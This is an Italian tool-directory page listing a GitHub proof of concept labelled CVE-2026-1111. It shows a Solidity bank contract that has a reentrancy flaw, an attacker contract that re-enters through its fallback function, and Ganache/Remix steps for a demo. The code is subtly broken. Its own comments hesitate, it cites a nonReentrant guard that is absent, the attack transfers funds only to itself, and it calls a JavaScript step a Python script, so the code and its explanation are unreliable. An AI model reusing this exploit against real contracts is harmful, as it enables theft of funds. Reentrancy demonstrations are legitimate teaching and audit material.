Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy — Esempio di exploit di reentrancy incrociata tra funzioni per smart contract, con contratto Solidity vulnerabile e contratto attaccante che dimostra il drenaggio di fondi tramite re-entry nella funzione fallback. | Kitploit
Strumenti/GitHubGitHub/george0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy
Analisi delle VulnerabilitàExploitApprendimento e Formazione
GitHubgeorge0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy

CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy

Esempio di exploit di reentrancy incrociata tra funzioni per smart contract, con contratto Solidity vulnerabile e contratto attaccante che dimostra il drenaggio di fondi tramite re-entry nella funzione fallback.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
17 giorni faNon ancora revisionato

CVE-2026-1111 – Reentrancy tra funzioni in Smart Contract

Codice del programma (Solidity + Python)

root@kitploit:~
// VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= amount;
    }

    // Second function that also modifies state after external call? Not present.
    // Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
    // then fallback calls another function that also transfers, bypassing nonReentrant if not global.
    function transferTo(address to, uint256 amount) public {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }
}
// Attacker contract:
contract Attacker {
    VulnerableBank bank;
    constructor(address _bank) { bank = VulnerableBank(_bank); }
    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            // Re-enter via transferTo instead of withdraw
            bank.transferTo(address(this), 1 ether); // this changes balances mapping
            // then later withdraw again? The point is to exploit reentrancy across functions.
        }
    }
    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }
}

CVE-2026-1111 – Reentrancy tra funzioni in Smart Contract

Severity: Critical

Panoramica

Uno smart contract non applica una protezione globale contro la reentrancy, consentendo a un attaccante di rientrare nel contratto attraverso una funzione diversa durante una chiamata a withdraw, bypassando una protezione locale e sottraendo fondi.

Dettagli della vulnerabilità

  • Tipo: Reentrancy
  • Impatto: Furto di tutto l'Ether bloccato.
  • Causa principale: La funzione withdraw aggiorna il saldo dopo una chiamata esterna, e una funzione separata che modifica lo stato (transferTo) può essere chiamata in modalità di reentrancy, manipolando i saldi.

Dimostrazione dell'exploit

  1. Avvia un nodo Ethereum locale (Ganache):
    root@kitploit:~
    ganache-cli
    
  2. Distribuisci VulnerableBank.sol e Attacker.sol usando Remix o Truffle.
  3. Esegui l'attacco tramite lo script Python (simula usando la console di Remix):
    root@kitploit:~
    attacker.attack({value: web3.utils.toWei("1", "ether")})
    
Scarica lo strumento